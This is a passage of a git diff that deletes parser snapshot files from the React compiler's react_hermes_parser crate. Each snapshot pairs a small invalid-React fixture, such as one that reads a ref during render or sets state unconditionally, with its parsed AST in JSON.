-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            210,
-                            215
-                          ]
-                        },
-                        "computed": false,
-                        "loc": null,
-                        "range": [
-                          204,
-                          215
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "map",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          216,
-                          219
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        204,
-                        219
-                      ]
-                    },
-                    "arguments": [
-                      {
-                        "type": "ArrowFunctionExpression",
-                        "id": null,
-                        "params": [
-                          {
-                            "type": "Identifier",
-                            "name": "item",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              221,
-                              225
-                            ]
-                          }
-                        ],
-                        "body": {
-                          "type": "CallExpression",
-                          "callee": {
-                            "type": "Identifier",
-                            "name": "renderItem",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              230,
-                              240
-                            ]
-                          },
-                          "arguments": [
-                            {
-                              "type": "Identifier",
-                              "name": "item",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                241,
-                                245
-                              ]
-                            }
-                          ],
-                          "loc": null,
-                          "range": [
-                            230,
-                            246
-                          ]
-                        },
-                        "generator": true,
-                        "async": false,
-                        "loc": null,
-                        "range": [
-                          220,
-                          246
-                        ],
-                        "expression": true,
-                        "loc": null,
-                        "range": [
-                          220,
-                          246
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      204,
-                      247
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    203,
-                    248
-                  ]
-                }
-              ],
-              "closingElement": {
-                "type": "JSXClosingElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "Items",
-                  "loc": null,
-                  "range": [
-                    250,
-                    255
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  248,
-                  256
-                ]
-              },
-              "loc": null,
-              "range": [
-                196,
-                256
-              ]
-            },
-            "loc": null,
-            "range": [
-              189,
-              257
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          36,
-          259
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        10,
-        259
-      ],
-      "loc": null,
-      "range": [
-        10,
-        259
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    10,
-    259
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@error.invalid-ref-value-as-props.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@error.invalid-ref-value-as-props.js.snap
deleted file mode 100644
index 78ebf4796582..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@error.invalid-ref-value-as-props.js.snap
+++ /dev/null
@@ -1,220 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/error.invalid-ref-value-as-props.js
----
-Input:
-function Component(props) {
-  const ref = useRef(null);
-  return <Foo ref={ref.current} />;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "ref",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    36,
-                    39
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "useRef",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      42,
-                      48
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "NullLiteral",
-                      "loc": null,
-                      "range": [
-                        49,
-                        53
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    42,
-                    54
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  36,
-                  54
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              30,
-              55
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "JSXElement",
-              "openingElement": {
-                "type": "JSXOpeningElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "Foo",
-                  "loc": null,
-                  "range": [
-                    66,
-                    69
-                  ]
-                },
-                "attributes": [
-                  {
-                    "type": "JSXAttribute",
-                    "name": {
-                      "type": "JSXIdentifier",
-                      "name": "ref",
-                      "loc": null,
-                      "range": [
-                        70,
-                        73
-                      ]
-                    },
-                    "value": {
-                      "type": "JSXExpressionContainer",
-                      "expression": {
-                        "type": "MemberExpression",
-                        "object": {
-                          "type": "Identifier",
-                          "name": "ref",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            75,
-                            78
-                          ]
-                        },
-                        "property": {
-                          "type": "Identifier",
-                          "name": "current",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            79,
-                            86
-                          ]
-                        },
-                        "computed": false,
-                        "loc": null,
-                        "range": [
-                          75,
-                          86
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        74,
-                        87
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      70,
-                      87
-                    ]
-                  }
-                ],
-                "selfClosing": true,
-                "loc": null,
-                "range": [
-                  65,
-                  90
-                ]
-              },
-              "children": [],
-              "closingElement": null,
-              "loc": null,
-              "range": [
-                65,
-                90
-              ]
-            },
-            "loc": null,
-            "range": [
-              58,
-              91
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          93
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        93
-      ],
-      "loc": null,
-      "range": [
-        0,
-        93
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    93
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@error.invalid-set-and-read-ref-during-render.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@error.invalid-set-and-read-ref-during-render.js.snap
deleted file mode 100644
index e0fadf4cdcaf..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@error.invalid-set-and-read-ref-during-render.js.snap
+++ /dev/null
@@ -1,242 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/error.invalid-set-and-read-ref-during-render.js
----
-Input:
-function Component(props) {
-  const ref = useRef(null);
-  ref.current = props.value;
-  return ref.current;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "ref",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    36,
-                    39
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "useRef",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      42,
-                      48
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "NullLiteral",
-                      "loc": null,
-                      "range": [
-                        49,
-                        53
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    42,
-                    54
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  36,
-                  54
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              30,
-              55
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "AssignmentExpression",
-              "operator": "=",
-              "left": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "ref",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    58,
-                    61
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "current",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    62,
-                    69
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  58,
-                  69
-                ]
-              },
-              "right": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "props",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    72,
-                    77
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "value",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    78,
-                    83
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  72,
-                  83
-                ]
-              },
-              "loc": null,
-              "range": [
-                58,
-                83
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              58,
-              84
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "MemberExpression",
-              "object": {
-                "type": "Identifier",
-                "name": "ref",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  94,
-                  97
-                ]
-              },
-              "property": {
-                "type": "Identifier",
-                "name": "current",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  98,
-                  105
-                ]
-              },
-              "computed": false,
-              "loc": null,
-              "range": [
-                94,
-                105
-              ]
-            },
-            "loc": null,
-            "range": [
-              87,
-              106
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          108
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        108
-      ],
-      "loc": null,
-      "range": [
-        0,
-        108
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    108
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@error.invalid-sketchy-code-use-forget.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@error.invalid-sketchy-code-use-forget.js.snap
deleted file mode 100644
index 3b96479c7410..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@error.invalid-sketchy-code-use-forget.js.snap
+++ /dev/null
@@ -1,191 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/error.invalid-sketchy-code-use-forget.js
----
-Input:
-/* eslint-disable react-hooks/rules-of-hooks */
-function lowercasecomponent() {
-  "use forget";
-  const x = [];
-  return <div>{x}</div>;
-}
-/* eslint-enable react-hooks/rules-of-hooks */
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "lowercasecomponent",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          57,
-          75
-        ]
-      },
-      "params": [],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "StringLiteral",
-              "value": "use forget",
-              "loc": null,
-              "range": [
-                82,
-                94
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              82,
-              95
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    104,
-                    105
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [],
-                  "loc": null,
-                  "range": [
-                    108,
-                    110
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  104,
-                  110
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              98,
-              111
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "JSXElement",
-              "openingElement": {
-                "type": "JSXOpeningElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "div",
-                  "loc": null,
-                  "range": [
-                    122,
-                    125
-                  ]
-                },
-                "attributes": [],
-                "selfClosing": false,
-                "loc": null,
-                "range": [
-                  121,
-                  126
-                ]
-              },
-              "children": [
-                {
-                  "type": "JSXExpressionContainer",
-                  "expression": {
-                    "type": "Identifier",
-                    "name": "x",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      127,
-                      128
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    126,
-                    129
-                  ]
-                }
-              ],
-              "closingElement": {
-                "type": "JSXClosingElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "div",
-                  "loc": null,
-                  "range": [
-                    131,
-                    134
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  129,
-                  135
-                ]
-              },
-              "loc": null,
-              "range": [
-                121,
-                135
-              ]
-            },
-            "loc": null,
-            "range": [
-              114,
-              136
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          78,
-          138
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        48,
-        138
-      ],
-      "loc": null,
-      "range": [
-        48,
-        138
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    48,
-    138
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@error.invalid-ternary-with-hook-values.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@error.invalid-ternary-with-hook-values.js.snap
deleted file mode 100644
index e8ea984c2bc6..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@error.invalid-ternary-with-hook-values.js.snap
+++ /dev/null
@@ -1,184 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/error.invalid-ternary-with-hook-values.js
----
-Input:
-function Component(props) {
-  const x = props.cond ? useA : useB;
-  return x();
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    36,
-                    37
-                  ]
-                },
-                "init": {
-                  "type": "ConditionalExpression",
-                  "test": {
-                    "type": "MemberExpression",
-                    "object": {
-                      "type": "Identifier",
-                      "name": "props",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        40,
-                        45
-                      ]
-                    },
-                    "property": {
-                      "type": "Identifier",
-                      "name": "cond",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        46,
-                        50
-                      ]
-                    },
-                    "computed": false,
-                    "loc": null,
-                    "range": [
-                      40,
-                      50
-                    ]
-                  },
-                  "alternate": {
-                    "type": "Identifier",
-                    "name": "useB",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      60,
-                      64
-                    ]
-                  },
-                  "consequent": {
-                    "type": "Identifier",
-                    "name": "useA",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      53,
-                      57
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    40,
-                    64
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  36,
-                  64
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              30,
-              65
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "Identifier",
-                "name": "x",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  75,
-                  76
-                ]
-              },
-              "arguments": [],
-              "loc": null,
-              "range": [
-                75,
-                78
-              ]
-            },
-            "loc": null,
-            "range": [
-              68,
-              79
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          81
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        81
-      ],
-      "loc": null,
-      "range": [
-        0,
-        81
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    81
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@error.invalid-unconditional-set-state-in-render.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@error.invalid-unconditional-set-state-in-render.js.snap
deleted file mode 100644
index 8c7657100734..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@error.invalid-unconditional-set-state-in-render.js.snap
+++ /dev/null
@@ -1,287 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/error.invalid-unconditional-set-state-in-render.js
----
-Input:
-function Component(props) {
-  const [x, setX] = useState(0);
-  const aliased = setX;
-
-  setX(1);
-  aliased(2);
-
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "ArrayPattern",
-                  "elements": [
-                    {
-                      "type": "Identifier",
-                      "name": "x",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        37,
-                        38
-                      ]
-                    },
-                    {
-                      "type": "Identifier",
-                      "name": "setX",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        40,
-                        44
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    36,
-                    45
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "useState",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      48,
-                      56
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "NumericLiteral",
-                      "value": 0.0,
-                      "loc": null,
-                      "range": [
-                        57,
-                        58
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    48,
-                    59
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  36,
-                  59
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              30,
-              60
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "aliased",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    69,
-                    76
-                  ]
-                },
-                "init": {
-                  "type": "Identifier",
-                  "name": "setX",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    79,
-                    83
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  69,
-                  83
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              63,
-              84
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "Identifier",
-                "name": "setX",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  88,
-                  92
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "NumericLiteral",
-                  "value": 1.0,
-                  "loc": null,
-                  "range": [
-                    93,
-                    94
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                88,
-                95
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              88,
-              96
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "Identifier",
-                "name": "aliased",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  99,
-                  106
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "NumericLiteral",
-                  "value": 2.0,
-                  "loc": null,
-                  "range": [
-                    107,
-                    108
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                99,
-                109
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              99,
-              110
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                121,
-                122
-              ]
-            },
-            "loc": null,
-            "range": [
-              114,
-              123
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          125
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        125
-      ],
-      "loc": null,
-      "range": [
-        0,
-        125
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    125
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@error.invalid-use-ref-added-to-dep-without-type-info.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@error.invalid-use-ref-added-to-dep-without-type-info.js.snap
deleted file mode 100644
index c970949f0bf5..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@error.invalid-use-ref-added-to-dep-without-type-info.js.snap
+++ /dev/null
@@ -1,444 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/error.invalid-use-ref-added-to-dep-without-type-info.js
----
-Input:
-function Foo({ a }) {
-  const ref = useRef();
-  // type information is lost here as we don't track types of fields
-  const val = { ref };
-  // without type info, we don't know that val.ref.current is a ref value so we
-  // *would* end up depending on val.ref.current
-  // however, this is an instance of accessing a ref during render and is disallowed
-  // under React's rules, so we reject this input
-  const x = { a, val: val.ref.current };
-
-  return <VideoList videos={x} />;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Foo",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          12
-        ]
-      },
-      "params": [
-        {
-          "type": "ObjectPattern",
-          "properties": [
-            {
-              "type": "Property",
-              "key": {
-                "type": "Identifier",
-                "name": "a",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  15,
-                  16
-                ]
-              },
-              "value": {
-                "type": "Identifier",
-                "name": "a",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  15,
-                  16
-                ]
-              },
-              "kind": "init",
-              "computed": false,
-              "shorthand": true,
-              "method": false,
-              "loc": null,
-              "range": [
-                15,
-                16
-              ]
-            }
-          ],
-          "loc": null,
-          "range": [
-            13,
-            18
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "ref",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    30,
-                    33
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "useRef",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      36,
-                      42
-                    ]
-                  },
-                  "arguments": [],
-                  "loc": null,
-                  "range": [
-                    36,
-                    44
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  30,
-                  44
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              24,
-              45
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "val",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    123,
-                    126
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [
-                    {
-                      "type": "Property",
-                      "key": {
-                        "type": "Identifier",
-                        "name": "ref",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          131,
-                          134
-                        ]
-                      },
-                      "value": {
-                        "type": "Identifier",
-                        "name": "ref",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          131,
-                          134
-                        ]
-                      },
-                      "kind": "init",
-                      "method": false,
-                      "shorthand": true,
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        131,
-                        134
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    129,
-                    136
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  123,
-                  136
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              117,
-              137
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    410,
-                    411
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [
-                    {
-                      "type": "Property",
-                      "key": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          416,
-                          417
-                        ]
-                      },
-                      "value": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          416,
-                          417
-                        ]
-                      },
-                      "kind": "init",
-                      "method": false,
-                      "shorthand": true,
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        416,
-                        417
-                      ]
-                    },
-                    {
-                      "type": "Property",
-                      "key": {
-                        "type": "Identifier",
-                        "name": "val",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          419,
-                          422
-                        ]
-                      },
-                      "value": {
-                        "type": "MemberExpression",
-                        "object": {
-                          "type": "MemberExpression",
-                          "object": {
-                            "type": "Identifier",
-                            "name": "val",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              424,
-                              427
-                            ]
-                          },
-                          "property": {
-                            "type": "Identifier",
-                            "name": "ref",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              428,
-                              431
-                            ]
-                          },
-                          "computed": false,
-                          "loc": null,
-                          "range": [
-                            424,
-                            431
-                          ]
-                        },
-                        "property": {
-                          "type": "Identifier",
-                          "name": "current",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            432,
-                            439
-                          ]
-                        },
-                        "computed": false,
-                        "loc": null,
-                        "range": [
-                          424,
-                          439
-                        ]
-                      },
-                      "kind": "init",
-                      "method": false,
-                      "shorthand": false,
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        419,
-                        439
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    414,
-                    441
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  410,
-                  441
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              404,
-              442
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "JSXElement",
-              "openingElement": {
-                "type": "JSXOpeningElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "VideoList",
-                  "loc": null,
-                  "range": [
-                    454,
-                    463
-                  ]
-                },
-                "attributes": [
-                  {
-                    "type": "JSXAttribute",
-                    "name": {
-                      "type": "JSXIdentifier",
-                      "name": "videos",
-                      "loc": null,
-                      "range": [
-                        464,
-                        470
-                      ]
-                    },
-                    "value": {
-                      "type": "JSXExpressionContainer",
-                      "expression": {
-                        "type": "Identifier",
-                        "name": "x",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          472,
-                          473
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        471,
-                        474
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      464,
-                      474
-                    ]
-                  }
-                ],
-                "selfClosing": true,
-                "loc": null,
-                "range": [
-                  453,
-                  477
-                ]
-              },
-              "children": [],
-              "closingElement": null,
-              "loc": null,
-              "range": [
-                453,
-                477
-              ]
-            },
-            "loc": null,
-            "range": [
-              446,
-              478
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          20,
-          480
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
